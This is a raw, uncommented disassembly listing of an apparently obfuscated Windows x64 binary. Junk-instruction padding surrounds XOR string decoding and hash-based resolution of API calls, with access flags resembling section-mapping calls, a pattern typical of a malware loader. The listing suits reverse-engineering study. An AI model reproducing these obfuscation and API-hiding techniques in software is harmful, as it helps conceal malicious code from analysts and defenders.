mov qword [rsp + 0x1d0], rax
mov rcx, qword [rsp + 0x1d0]
movabs rax, 0x49a3a78f54aef841
mov qword [rsp + 0x1d0], rax
mov rdx, qword [rsp + 0x1d0]
call fcn.140002d69
and dword [rsp + 0x1d0], 0
mov dl, 1
xor ecx, ecx
lea r10, [0x14001b93f]
test dl, 1
je 0x14000712a
movzx edx, byte [rcx + r10]
mov r8, rcx
or r8, 1
movzx r8d, byte [r8 + r10]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + r10]
shl r9d, 0x10
shl r8d, 8
or r8d, edx
lea edx, [r9 + r8]
add edx, 0x46000000
xor edx, dword [rax + rcx]
mov dword [rsp + rcx + 0x1d0], edx
mov ecx, 4
xor edx, edx
jmp 0x1400070e0
mov esi, dword [rsp + 0x1d0]
mov ecx, 4
call fcn.14000adf3
mov dword [rax], esi
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], rdx
mov qword [rsp + 0xf0], 4
mov rdx, qword [rsp + 0x80]
mov r8, rdx
add r8, r13
lea rbx, [rsp + 0xe0]
mov rcx, rbx
call fcn.14000ac04
movups xmm0, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x1d0], xmm0
mov rsi, qword [rsp + 0xf0]
mov rax, rax
xor rax, 0
nop
mov rax, rax
mov rax, rax
nop
add rax, 0
add rax, 0
xor rax, 0
mov rax, rax
xor rax, 0
nop
add rax, 0
sub rax, 0
or rax, rax
xor rax, 0
sub rax, 0
xor rax, 0
sub rax, 0
or rax, 0
xor rax, 0
xor rax, 0
xor rax, 0
or rax, 0
xor rax, 0
or rax, 0
nop
nop
xor rax, 0
nop
mov qword [rsp + 0x1e0], rsi
lea rcx, [rsp + 0x1d0]
call fcn.140003169
or rcx, rcx
or rcx, rcx
or rcx, rcx
xchg rcx, rcx
xchg rcx, rcx
xchg rcx, rcx
or rcx, rcx
or rcx, 0
add rcx, 0
or rcx, 0
or rcx, rcx
xchg rcx, rcx
or rcx, 0
lea ecx, [rsi + rsi]
lea edx, [rsi*2 + 2]
mov word [rsp + 0xc0], cx
mov word [rsp + 0xc2], dx
mov qword [rsp + 0xc8], rax
nop
sub rax, 0
nop
nop
nop
nop
add rax, 0
xor rax, 0
xor rax, 0
or rax, rax
mov rax, rax
nop
sub rax, 0
or rax, rax
or rax, 0
xor rax, 0
or rax, 0
mov dword [rsp + 0x1d0], 0x30
and qword [rsp + 0x1d8], 0
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x1e0], rax
mov dword [rsp + 0x1e8], 0x40
mov rax, rax
or rax, rax
add rax, 0
xor rax, 0
add rax, 0
sub rax, 0
sub rax, 0
mov rax, rax
or rax, rax
xor rax, 0
sub rax, 0
or rax, rax
xor rax, 0
or rax, rax
nop
sub rax, 0
xor rax, 0
nop
lea rax, [rsp + 0x1d8]
movups xmmword [rax + 0x18], xmm6
movaps xmmword [rsp + 0x60], xmm6
sub rax, 0
add rax, 0
xor rax, 0
or rax, rax
mov rax, rax
mov rax, rax
sub rax, 0
xor rax, 0
sub rax, 0
add rax, 0
add rax, 0
sub rax, 0
mov rax, rax
add rax, 0
or rax, 0
or qword [rsp + 0x90], 0xffffffffffffffff
sub rax, 0
sub rax, 0
mov rax, rax
nop
xor rax, 0
nop
xor rax, 0
add rax, 0
nop
add rax, 0
nop
sub rax, 0
xor rax, 0
or rax, rax
or rax, 0
xor rax, 0
sub rax, 0
call fcn.140004240
mov rdi, rax
lea rax, [0x14000c9d6]
mov qword [rsp + 0xe0], rax
mov rcx, qword [rsp + 0xe0]
movabs rax, 0x2ea75c3b771970fc
mov qword [rsp + 0xe0], rax
mov rdx, qword [rsp + 0xe0]
call fcn.140003008
and qword [rsp + 0xe0], 0
mov dl, 1
xor ecx, ecx
test dl, 1
je 0x140007470
lea rbp, [0x14001b943]
movzx r8d, byte [rcx + rbp]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + rbp]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + rbp]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + rbp]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + rbp]
mov rsi, rcx
or rsi, 5
movzx esi, byte [rsi + rbp]
mov rbx, rcx
or rbx, 6
mov r13, rcx
or r13, 7
movzx r12d, byte [rbx + rbp]
movzx ebx, byte [r13 + rbp]
shl rbx, 0x38
shl r12, 0x30
or r12, rbx
shl rsi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rsi
or rdx, r12
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0xe0], rdx
mov ecx, 8
xor edx, edx
jmp 0x1400073bf
movzx eax, word [rax + 8]
xor eax, 0x294f
mov rcx, qword [rsp + 0xe0]
mov qword [rsp + 0xa0], rcx
mov word [rsp + 0xa8], ax
mov rdx, qword [rdi]
mov r9d, 0xa
lea rcx, [rsp + 0xe0]
lea r8, [rsp + 0xa0]
call fcn.140003e69
cmp byte [rsp + 0xe0], 0
jne 0x14000ab17
mov rax, qword [rsp + 0xe8]
mov rcx, rcx
mov rcx, rcx
nop
xchg rcx, rcx
add rcx, 0
add rcx, 0
sub rcx, 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 3
lea rcx, [rsp + 0x90]
mov edx, 0xc0110000
lea r8, [rsp + 0x1d0]
lea r9, [rsp + 0x60]
call rax
or rcx, 0
or rcx, rcx
or rcx, rcx
nop
xchg rcx, rcx
mov rcx, rcx
nop
mov rcx, rcx
sub rcx, 0
nop
or rcx, 0
or rcx, rcx
mov rcx, rcx
test eax, eax
js 0x14000766c
mov rax, rax
nop
or rax, rax
mov rax, rax
add rax, 0
xor rax, 0
or rax, 0
nop
sub rax, 0
xor rax, 0
or rax, 0
xor rax, 0
mov rax, rax
sub rax, 0
or rax, 0
sub rax, 0
nop
xor rax, 0
sub rax, 0
or rax, 0
nop
mov rax, rax
nop
or rax, 0
mov rax, rax
nop
mov rax, rax
nop
mov rax, rax
mov rax, rax
add rax, 0
nop
xor rax, 0
mov r12, qword [rsp + 0x90]
jmp 0x1400076c1
nop
nop
add rax, 0
or rax, 0
nop
sub rax, 0
sub rax, 0
mov rax, rax
sub rax, 0
mov rax, rax
mov rax, rax
or rax, 0
xor rax, 0
nop
nop
or rax, 0
or rax, 0
sub rax, 0
nop
nop
add rax, 0
xor rax, 0
add rax, 0
sub rax, 0
xor rax, 0
xor rax, 0
add rax, 0
mov rax, rax
add rax, 0
or rax, rax
nop
xor rax, 0
nop
nop
jmp 0x140007660
or rax, rax
or rax, rax
sub rax, 0
or rax, rax
mov rax, rax
add rax, 0
nop
mov rax, rax
add rax, 0
add rax, 0
nop
or rax, 0
or rax, 0
nop
nop
xor rax, 0
or rax, 0
or rax, rax
sub rax, 0
mov rax, rax
add rax, 0
xor rax, 0
or rax, rax
or rax, rax
nop
or rax, rax
or rax, rax
or rax, 0
mov r15, 0xffffffffffffffff
jmp 0x1400080e1
nop
sub rax, 0
sub rax, 0
sub rax, 0
xor rax, 0
mov rax, rax
xor rax, 0
or rax, 0
or rax, rax
nop
sub rax, 0
xor rax, 0
or rax, rax
or rax, 0
or rax, 0
mov rax, rax
mov rax, rax
nop
nop
or rax, 0
sub rax, 0
or rax, rax
sub rax, 0
xor rax, 0
mov r12, 0xffffffffffffffff
nop
nop
or rax, rax
or rax, 0
sub rax, 0
xor rax, 0
nop
mov rax, rax
add rax, 0
or rax, rax
nop
sub rax, 0
or rax, 0
nop
cmp r12, 0xffffffffffffffff
je 0x140007f74
add rax, 0
mov rax, rax
nop
nop
mov rax, rax
add rax, 0
sub rax, 0
or rax, 0
sub rax, 0
add rax, 0
or rax, rax
nop
nop
nop
or rax, 0
or rax, 0
nop
nop
mov rax, rax
or rax, 0
sub rax, 0
nop
movaps xmmword [rsp + 0x60], xmm6
xor rax, 0
xor rax, 0
nop
or rax, 0
or rax, 0
nop
nop
sub rax, 0
or rax, rax
add rax, 0
mov rax, rax
or rax, 0
xor rax, 0
nop
or rax, 0
add rax, 0
or rax, 0
add rax, 0
xor rax, 0
or rax, 0
mov rax, rax
sub rax, 0
xor rax, 0
or rax, 0
sub rax, 0
or rax, rax
or rax, rax
or rax, rax
or rax, 0
mov rax, rax
sub rax, 0
or rax, 0
add rax, 0
or rax, rax
or rax, rax
mov rax, rax
or rax, rax
mov rax, rax
mov rax, rax
mov rax, rax
xor rax, 0
or rax, rax
xor rax, 0
mov byte [rsp + 0xc0], 1
or rax, 0
add rax, 0
nop
xor rax, 0
nop
xor rax, 0
or rax, 0
nop
xor rax, 0
or rax, rax
or rax, 0
xor rax, 0
mov rax, rax
nop
or rax, 0
add rax, 0
xor rax, 0
sub rax, 0
or rax, rax
add rax, 0
or rax, rax
mov rax, rax
or rax, rax
call fcn.140004240
mov rsi, rax
lea rax, [0x14001791e]
mov qword [rsp + 0x1d0], rax
lea rax, [rsp + 0x1d0]
mov rcx, qword [rsp + 0x1d0]
movabs rdx, 0x9c77ff7e519c0525
mov qword [rsp + 0x1d0], rdx
mov rdx, qword [rsp + 0x1d0]
call fcn.140002d07
movaps xmmword [rsp + 0x1d0], xmm6
and dword [rsp + 0x1e0], 0
xor ecx, ecx
lea r9, [0x14001b95b]
cmp rcx, 0x10
jae 0x140007890
mov rdx, qword [rcx + r9]
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x1d0], rdx
add rcx, 8
jmp 0x140007874
mov ecx, 0x10
cmp rcx, 0x13
ja 0x1400078c2
movzx edx, byte [rcx + r9 + 2]
shl edx, 0x10
movzx r8d, word [rcx + r9]
add edx, r8d
add edx, 0x10000000
xor edx, dword [rax + rcx]
mov dword [rsp + rcx + 0x1d0], edx
add rcx, 4
jmp 0x140007895
mov eax, dword [rsp + 0x1e0]
mov dword [rsp + 0xf0], eax
movaps xmm0, xmmword [rsp + 0x1d0]
movaps xmmword [rsp + 0xe0], xmm0
mov rdx, qword [rsi]
mov r9d, 0x14
lea rcx, [rsp + 0x1d0]
lea r8, [rsp + 0xe0]
call fcn.140003e69
cmp byte [rsp + 0x1d0], 0
jne 0x14000ab17
mov rax, qword [rsp + 0x1d8]
add rcx, 0
sub rcx, 0
mov rcx, rcx
mov rcx, rcx
xchg rcx, rcx
or rcx, 0
sub rcx, 0
or rcx, 0
mov rcx, rcx
xchg rcx, rcx
xchg rcx, rcx
mov dword [rsp + 0x20], 0xd
mov rcx, r14
lea rdx, [rsp + 0x60]
lea r8, [rsp + 0xc0]
mov r9d, 1
call rax
test eax, eax
js 0x140007fbf
or rax, 0
or rax, 0
sub rax, 0
add rax, 0
sub rax, 0
add rax, 0
nop
mov rax, rax
mov rax, rax
or rax, 0
or rax, 0
mov rax, rax
nop
nop
add rax, 0
add rax, 0
or rax, rax
xor rax, 0
nop
nop
or rax, 0
mov rax, rax
nop
sub rax, 0
or rax, 0
nop
add rax, 0
sub rax, 0
xor rax, 0
add rax, 0
or rax, 0
or rax, rax
nop
or rax, rax
call fcn.140004240
mov rdi, rax
lea rax, [0x14000d34d]
mov qword [rsp + 0x1d0], rax
lea rax, [rsp + 0x1d0]
mov rcx, qword [rsp + 0x1d0]
movabs rdx, 0xd7181a79d703ac59
mov qword [rsp + 0x1d0], rdx
mov rdx, qword [rsp + 0x1d0]
call fcn.140002d2b
and qword [rsp + 0x1d0], 0
mov dl, 1
xor ecx, ecx
test dl, 1
je 0x140007ad1
lea r15, [0x14001b983]
movzx r8d, byte [rcx + r15]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + r15]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + r15]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + r15]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + r15]
mov rsi, rcx
or rsi, 5
movzx esi, byte [rsi + r15]
mov rbx, rcx
or rbx, 6
mov rbp, rcx
or rbp, 7
movzx r13d, byte [rbx + r15]
movzx ebx, byte [rbp + r15]
shl rbx, 0x38
shl r13, 0x30
or r13, rbx
shl rsi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rsi
or rdx, r13
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x1d0], rdx
mov ecx, 8
xor edx, edx
jmp 0x140007a1e
movzx ecx, byte [rax + 0xa]
movzx eax, word [rax + 8]
xor eax, 0x726e
mov word [rsp + 0x1d8], ax
xor cl, 0x8b
mov byte [rsp + 0x1da], cl
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0xe0], rax
mov eax, dword [rsp + 0x1d7]
mov dword [rsp + 0xe7], eax
mov rdx, qword [rdi]
mov r9d, 0xb
lea rcx, [rsp + 0x1d0]
lea r8, [rsp + 0xe0]
call fcn.140003e69
cmp byte [rsp + 0x1d0], 0
jne 0x14000ab17
mov rax, qword [rsp + 0x1d8]
nop
xor rcx, 0
add rcx, 0
nop
or rcx, 0
mov rcx, rcx
add rcx, 0
or rcx, 0
mov rcx, rcx
or rcx, rcx
sub rcx, 0
add rcx, 0
or rcx, rcx
xchg rcx, rcx
mov rcx, rcx
or rcx, rcx
movups xmmword [rsp + 0x38], xmm6
mov rcx, qword [rsp + 0x160]
mov dword [rsp + 0x30], ecx
mov rcx, qword [rsp + 0x140]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x20], rcx
mov rcx, r14
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call rax
mov rcx, rcx
mov rcx, rcx
or rcx, 0
mov rcx, rcx
add rcx, 0
mov rcx, rcx
or rcx, rcx
nop
xor rcx, 0
test eax, eax
jns 0x140007bdd
add rax, 0
nop
add rax, 0
or rax, 0
add rax, 0
nop
nop
mov rax, rax
or rax, rax
mov rax, rax
or rax, 0
or rax, 0
mov rax, rax
xor rax, 0
mov rax, rax
or rax, 0
nop
or rax, 0
add rax, 0
or rax, rax
nop
mov rax, rax
mov rax, rax
sub rax, 0
add rax, 0
mov rax, rax
nop
nop
add rax, 0
mov rax, rax
add rax, 0
xor rax, 0
xor rax, 0
nop
sub rax, 0
and qword [rsp + 0xc0], 0
nop
xor rax, 0
or rax, rax
nop
or rax, rax
nop
add rax, 0
sub rax, 0
xor rax, 0
or rax, 0
add rax, 0
mov rax, rax
add rax, 0
mov rax, rax
or rax, 0
nop
xor rax, 0
or rax, rax
nop
or rax, rax
or rax, rax
mov rax, rax
mov rax, rax
sub rax, 0
add rax, 0
nop
xor rax, 0
xor rax, 0
nop
add rax, 0
or rax, 0
add rax, 0
nop
xor rax, 0
or rax, 0
or rax, rax
nop
add rax, 0
add rax, 0
call fcn.140004240
mov rdi, rax
lea rax, [0x1400128e4]
mov qword [rsp + 0x1d0], rax
lea rax, [rsp + 0x1d0]
mov rcx, qword [rsp + 0x1d0]
movabs rdx, 0xc864167798e4c27a
mov qword [rsp + 0x1d0], rdx
mov rdx, qword [rsp + 0x1d0]
call fcn.140002fc1
and dword [rsp + 0x1d8], 0
and qword [rsp + 0x1d0], 0
mov dl, 1
xor ecx, ecx
lea r15, [0x14001b999]
test dl, 1
je 0x140007dc2
movzx r8d, byte [rcx + r15]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + r15]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + r15]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + r15]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + r15]
mov rsi, rcx
or rsi, 5
movzx esi, byte [rsi + r15]
mov rbx, rcx
or rbx, 7
mov r13, rcx
or r13, 6
movzx r13d, byte [r13 + r15]
movzx ebx, byte [rbx + r15]
shl rbx, 0x38
shl r13, 0x30
or r13, rbx
shl rsi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rsi
or rdx, r13
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x1d0], rdx
mov ecx, 8
xor edx, edx
jmp 0x140007d16
mov ecx, 8
cmp rcx, 0xb
ja 0x140007df4
movzx edx, byte [rcx + r15 + 2]
shl edx, 0x10
movzx r8d, word [rcx + r15]
add edx, r8d
add edx, 0x69000000
xor edx, dword [rax + rcx]
mov dword [rsp + rcx + 0x1d0], edx
add rcx, 4
jmp 0x140007dc7
movzx ecx, byte [rax + 0xe]
movzx eax, word [rax + 0xc]
xor eax, 0xc13f
mov word [rsp + 0x1dc], ax
xor cl, 0x2e
mov byte [rsp + 0x1de], cl
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0x1d7]
mov qword [rsp + 0xe7], rax
mov rdx, qword [rdi]
mov r9d, 0xf
lea rcx, [rsp + 0x1d0]
lea r8, [rsp + 0xe0]
call fcn.140003e69
cmp byte [rsp + 0x1d0], 0
jne 0x14000ab17
mov rax, qword [rsp + 0x1d8]
mov rcx, rcx
or rcx, 0
xor rcx, 0
sub rcx, 0
mov rcx, rcx
sub rcx, 0
mov rcx, rcx
or rcx, 0
xor rcx, 0
or rcx, 0
or rcx, rcx
add rcx, 0
add rcx, 0
mov rcx, rcx
or rcx, 0
sub rcx, 0
xchg rcx, rcx
xor rcx, 0
add rcx, 0
mov rcx, rcx
add rcx, 0
mov rcx, rcx
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x1000000
mov dword [rsp + 0x20], 2
lea rcx, [rsp + 0xc0]
mov edx, 0xf001f
xor r8d, r8d
xor r9d, r9d
call rax
xor rcx, 0
sub rcx, 0
sub rcx, 0
add rcx, 0
nop
test eax, eax
js 0x140008022
mov rax, rax
nop
or rax, rax
or rax, 0
mov rax, rax
add rax, 0
or rax, 0
mov rax, rax
nop
or rax, rax
or rax, 0
nop
or rax, 0
sub rax, 0
nop
xor rax, 0
or rax, rax
xor rax, 0
xor rax, 0
add rax, 0
mov rcx, r12
call qword [rsp + 0x88]
test eax, eax
js 0x1400080ab
xor rax, 0
add rax, 0
nop
or rax, rax
nop
nop
or rax, rax
or rax, rax
nop
xor rax, 0
or rax, 0
mov r15, qword [rsp + 0xc0]
jmp 0x1400080d9
nop
sub rax, 0
or rax, rax
mov rax, rax
add rax, 0
add rax, 0
xor rax, 0
nop
nop
add rax, 0
or rax, rax
sub rax, 0
or rax, rax
mov rax, rax
or rax, rax
nop
add rax, 0
xor rax, 0
mov rax, rax
add rax, 0
mov rax, rax
sub rax, 0
nop
nop
jmp 0x1400080d2
sub rax, 0
sub rax, 0
nop
sub rax, 0
or rax, 0
or rax, rax
xor rax, 0
nop
sub rax, 0
add rax, 0
nop
add rax, 0
or rax, 0
nop
nop
nop
nop
sub rax, 0
or rax, 0
mov rax, rax
or rax, 0
xor rax, 0
nop
sub rax, 0
or rax, 0
nop
add rax, 0
mov rax, rax
nop
or rax, rax
or rax, 0
sub rax, 0
jmp 0x1400080d2
or rax, rax
sub rax, 0
or rax, 0
nop
or rax, rax
sub rax, 0
sub rax, 0
nop
xor rax, 0
xor rax, 0
mov rax, rax
nop
or rax, 0
xor rax, 0
mov rax, rax
mov rax, rax
nop
xor rax, 0
add rax, 0
add rax, 0
sub rax, 0
sub rax, 0
or rax, rax
or rax, rax
mov rax, rax
nop
sub rax, 0
sub rax, 0
mov rax, rax
or rax, rax
or rax, 0
add rax, 0
or rax, rax
nop
xor rax, 0
sub rax, 0
nop
nop
nop
sub rax, 0
add rax, 0
nop
mov rax, rax
or rax, 0
nop
jmp 0x1400080d2
add rax, 0
or rax, 0
xor rax, 0
xor rax, 0
nop
mov rax, rax
or rax, 0
mov rax, rax
add rax, 0
mov rax, rax
add rax, 0
nop
mov r15, 0xffffffffffffffff
lea rbx, [rsp + 0x1d0]
lea r12, [rsp + 0x60]
lea r14, [0x14001baa9]
or rax, 0
nop
sub rax, 0
mov rax, rax
add rax, 0
add rax, 0
sub rax, 0
or rax, 0
add rax, 0
nop
nop
mov rax, rax
xor rax, 0
or rax, 0
nop
sub rax, 0
mov rax, rax
nop
nop
or rax, 0
xor rax, 0
xor rax, 0
sub rax, 0
sub rax, 0
nop
nop
sub rax, 0
xor rax, 0
or rax, 0
mov rax, rax
or rax, rax
sub rax, 0
or rax, rax
nop
xor rax, 0
or rax, 0
nop
or rax, 0
or rax, rax
xor rax, 0
nop
mov rax, rax
cmp r15, 0xffffffffffffffff
je 0x1400084d6
mov rax, rax
nop
xor rax, 0
or rax, 0
nop
sub rax, 0
or rax, 0
sub rax, 0
nop
nop
xor rax, 0
movaps xmmword [rsp + 0xc0], xmm6
and qword [rsp + 0xd0], 0
nop
or rax, 0
nop
add rax, 0
add rax, 0
sub rax, 0
nop
nop
nop
xor rax, 0
nop
or rax, 0
mov rax, rax
add rax, 0
nop
or rax, 0
sub rax, 0
xor rax, 0
add rax, 0
or rax, rax
xor rax, 0
nop
or rax, rax
nop
add rax, 0
nop
nop
or rax, rax
or rax, 0
nop
nop
lea rax, [0x1400143e8]
mov qword [rsp + 0x1d0], rax
mov rcx, qword [rsp + 0x1d0]
movabs rax, 0x63a2e34b070e0df4
mov qword [rsp + 0x1d0], rax
mov rdx, qword [rsp + 0x1d0]
call fcn.140002f31
and qword [rsp + 0x1d0], 0
mov dl, 1
xor ecx, ecx
test dl, 1
je 0x1400082ed
movzx r8d, byte [rcx + r14]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + r14]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + r14]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + r14]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + r14]
mov rsi, rcx
or rsi, 5
movzx esi, byte [rsi + r14]
mov rdi, rcx
or rdi, 6
mov rbx, rcx
or rbx, 7
movzx edi, byte [rdi + r14]
movzx ebx, byte [rbx + r14]
shl rbx, 0x38
shl rdi, 0x30
or rdi, rbx
lea rbx, [rsp + 0x1d0]
shl rsi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rsi
or rdx, rdi
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x1d0], rdx
mov ecx, 8
xor edx, edx
jmp 0x14000823a
movzx eax, word [rax + 8]
xor eax, 0x83c3
mov rcx, qword [rsp + 0x1d0]
mov qword [rsp + 0x60], rcx
mov word [rsp + 0x68], ax
mov r8d, 0xa
mov rcx, rbx
mov rdx, r12
call fcn.14001615f
cmp byte [rsp + 0x1e8], 3
jne 0x14000ab17
mov r12, qword [rsp + 0x1d0]
mov rcx, qword [rsp + 0x1d8]
mov rdi, qword [rsp + 0x1e0]
or rax, 0
or rax, 0
nop
add rax, 0
or rax, 0
add rax, 0
nop
or rax, rax
nop
or rax, 0
nop
sub rax, 0
nop
sub rax, 0
add rax, 0
nop
sub rax, 0
sub rax, 0
xor rax, 0
mov rax, rax
add rax, 0
nop
nop
nop
xor rax, 0
mov rax, rax
xor rax, 0
xor rax, 0
mov rax, rax
or rax, rax
sub rax, 0
xor rax, 0
add rax, 0
nop
add rax, 0
sub rax, 0
xor rax, 0
cmp byte [rsp + 0x9c], 0
mov qword [rsp + 0xd8], r15
mov qword [rsp + 0x88], rcx
je 0x140008505
add rax, 0
or rax, rax
or rax, 0
nop
or rax, rax
mov rax, rax
sub rax, 0
or rax, rax
lea rax, [0x14001750a]
mov qword [rsp + 0x1d0], rax
mov rcx, qword [rsp + 0x1d0]
movabs rax, 0x4c5acdd700b424ac
mov qword [rsp + 0x1d0], rax
mov rdx, qword [rsp + 0x1d0]
call fcn.140002cc4
and qword [rsp + 0x1d0], 0
mov dl, 1
xor ecx, ecx
lea r14, [0x14001bab3]
movabs r15, 0x4600000000000000
test dl, 1
je 0x140008664
movzx r8d, byte [rcx + r14]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + r14]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + r14]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + r14]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + r14]
mov rsi, rcx
or rsi, 5
movzx esi, byte [rsi + r14]
mov rbx, rcx
or rbx, 6
movzx ebx, byte [rbx + r14]
shl rbx, 0x30
shl rsi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rsi
add rdx, r15
or rdx, rbx
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x1d0], rdx
mov ecx, 8
xor edx, edx
jmp 0x14000843b
nop
or rax, 0
or rax, 0
add rax, 0
add rax, 0
lea r13, [rsp + 0xe0]
lea rsi, [0x140010096]
movabs r15, 0x7e190b1b1fbcbdf5
jmp 0x14000a98d
xor rax, 0
xor rax, 0
or rax, 0
nop
or rax, rax
add rax, 0
sub rax, 0
sub rax, 0
nop
mov rax, rax
or rax, 0
or rax, rax
sub rax, 0
sub rax, 0
mov rax, rax
xor rax, 0
or rax, rax
add rax, 0
add rax, 0
or rax, 0
or rax, rax
or rax, 0
nop
or rax, rax
sub rax, 0
nop
or rax, 0
sub rax, 0
add rax, 0
add rax, 0
or rax, rax
add rax, 0
xor rax, 0
lea rax, [0x14000cc49]
mov qword [rsp + 0x1d0], rax
mov rcx, qword [rsp + 0x1d0]
movabs rax, 0x7308ff55da2d1275
mov qword [rsp + 0x1d0], rax
mov rdx, qword [rsp + 0x1d0]
call fcn.140002e90
and qword [rsp + 0x1d0], 0
mov dl, 1
xor ecx, ecx
lea r14, [0x14001bac7]
movabs r15, 0xce00000000000000
test dl, 1
je 0x140008797
movzx r8d, byte [rcx + r14]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + r14]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + r14]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + r14]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + r14]
mov rsi, rcx
or rsi, 5
movzx esi, byte [rsi + r14]
mov rbx, rcx
or rbx, 6
movzx ebx, byte [rbx + r14]
shl rbx, 0x30
shl rsi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rsi
add rdx, r15
or rdx, rbx
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x1d0], rdx
mov ecx, 8
xor edx, edx
jmp 0x1400085c9
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x20], 8
lea rcx, [rsp + 0x1d0]
mov rdx, r12
mov r8, rdi
lea r9, [rsp + 0x90]
call fcn.140016991
mov rdi, qword [rsp + 0x1d0]
mov r15, qword [rsp + 0x1e0]
lea rax, [0x140018094]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x60]
mov rcx, qword [rsp + 0x60]
movabs rdx, 0x46b2d5201882ccee
mov qword [rsp + 0x60], rdx
mov rdx, qword [rsp + 0x60]
call fcn.140002c34
and dword [rsp + 0x68], 0
and qword [rsp + 0x60], 0
mov dl, 1
xor r14d, r14d
test dl, 1
je 0x1400088c3
lea r13, [0x14001babb]
movzx r8d, byte [r14 + r13]
mov rdx, r14
or rdx, 1
movzx edx, byte [rdx + r13]
mov r9, r14
or r9, 2
movzx r9d, byte [r9 + r13]
mov r10, r14
or r10, 3
movzx r10d, byte [r10 + r13]
mov r11, r14
or r11, 4
movzx r11d, byte [r11 + r13]
mov rsi, r14
or rsi, 5
movzx esi, byte [rsi + r13]
mov rbx, r14
or rbx, 6
mov rcx, r14
or rcx, 7
movzx ebp, byte [rbx + r13]
movzx ecx, byte [rcx + r13]
shl rcx, 0x38
shl rbp, 0x30
or rbp, rcx
shl rsi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rsi
or rdx, rbp
xor rdx, qword [rax + r14]
mov qword [rsp + r14 + 0x60], rdx
mov r14d, 8
xor edx, edx
jmp 0x1400086e7
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x20], 8
lea rcx, [rsp + 0x1d0]
mov rdx, r12
mov r8, rdi
lea r9, [rsp + 0x90]
call fcn.140016991
mov rdi, qword [rsp + 0x1d0]
mov r15, qword [rsp + 0x1e0]
lea rax, [0x14000e018]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x60]
mov rcx, qword [rsp + 0x60]
movabs rdx, 0x68aee70ce898bdc4
mov qword [rsp + 0x60], rdx
mov rdx, qword [rsp + 0x60]
call fcn.140002d8e
and qword [rsp + 0x60], 0
mov dl, 1
xor ecx, ecx
lea r13, [0x14001bacf]
test dl, 1
je 0x1400088f9
movzx r8d, byte [rcx + r13]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + r13]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + r13]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + r13]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + r13]
mov rsi, rcx
or rsi, 5
movzx esi, byte [rsi + r13]
mov rbx, rcx
or rbx, 6
mov r14, rcx
or r14, 7
movzx ebp, byte [rbx + r13]
movzx ebx, byte [r14 + r13]
shl rbx, 0x38
shl rbp, 0x30
or rbp, rbx
shl rsi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rsi
or rdx, rbp
